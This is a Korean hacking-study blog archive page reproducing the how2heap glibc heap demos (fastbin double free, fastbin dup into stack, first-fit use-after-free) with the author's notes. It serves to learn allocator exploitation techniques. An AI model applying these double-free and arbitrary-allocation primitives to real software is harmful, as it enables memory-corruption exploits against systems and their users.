'2016/12/25'에 해당되는 글 4건

반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	printf("1st malloc(8): %p\n", d);
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("Now the free list has [ %p ].\n", a);
	printf("Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	printf("4rd malloc(8): %p\n", malloc(8));
}



정리.


먼저 fast bin dup을 진행해준 다음 다시 할당을 하게 되면 top에 있는 a 주소를 조작할 수 있게 된다.


그럼 거기에 fake chunk address를 집어넣어준 상태에서 할당을 진행 하게 되면


free list에서스택에서 할당을 진행하게 된다.


하지만 Ubuntu 16.04 버전에서 확인한 결과 memory corruption이 뜬다.


아마도 다른 영역(bss)를 사용하는게 좋을 듯하다.


실험 삼아서 사용자가 원하는 주소로 덮어씌울 수 있게 했더니 Segmetation Fault가 떴다.


내가 Ubuntu 16.04 버전을 사용중인데,


puts나 printf 함수에서 malloc을 사용하는 것을 볼 수 있었다.


내가 맨 마지막에 malloc 두번을 한거에서 할당이 되어야 작동이 될텐데,


puts, printf 함수에서 malloc이 내부적으로 사용되니까 안되던 것이다.


아래는 메모리 구조 사진



'공부' 카테고리의 다른 글

[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] fastbin dup

공부 2016. 12. 25. 20:23
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	printf("1st malloc(8): %p\n", malloc(8));
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("3rd malloc(8): %p\n", malloc(8));
}



정리.


할당된 영역을 free를 하게 되면 free list에 주소가 들어가게 되는데 이게 링크드 리스트라서 head 주소 밖에 검사를 안하는 듯하다.


그래서 다른 주소를 free한번 해주고 다시 free 시켜주면 dup이 가능하다.

'공부' 카테고리의 다른 글

[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] first_fit

공부 2016. 12. 25. 19:54
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	printf("glibc uses a first-fit algorithm to select a free chunk.\n");
	printf("If a chunk is free and large enough, malloc will select this chunk.\n");
	printf("This can be exploited in a use-after-free situation.\n");

	printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;

	printf("1st malloc(512): %p\n", a);
	printf("2nd malloc(256): %p\n", b);
	printf("we could continue mallocing here...\n");
	printf("now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	printf("first allocation %p points to %s\n", a, a);

	printf("Freeing the first one...\n");
	free(a);

	printf("We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

	printf("So, let's allocate 500 bytes\n");
	c = malloc(500);
	printf("3rd malloc(500): %p\n", c);
	printf("And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	printf("3rd allocation %p points to %s\n", c, c);
	printf("first allocation %p points to %s\n", a, a);
	printf("If we reuse the first allocation, it now holds the data from the third allocation.");
}



정리.



청크가 free가 되있고 충분히 크다면 원래 크기보다 작은 크기가 할당이 됐을 때


first_fit 알고리즘을 사용해서 free된 청크의 동일한 주소에 할당이 된다. (UAF)

'공부' 카테고리의 다른 글

[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
SigReturn Oriented Programming (SROP)  (0) 2016.08.13
gs 베이스 주소 구하기  (0) 2016.05.09
블로그 이미지

KuroNeko_

KuroNeko

,

[Heap] how2heap (shellpish)

자료 2016. 12. 25. 02:04
반응형
link

'자료' 카테고리의 다른 글

Windbg 명령어  (0) 2017.01.31
[펌] 동적 메모리 관리  (0) 2016.12.26
[Linux] rootkit 자료 (펌)  (0) 2016.11.30
[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
주로 사용하는 헤더들  (0) 2016.05.18
블로그 이미지

KuroNeko_

KuroNeko

,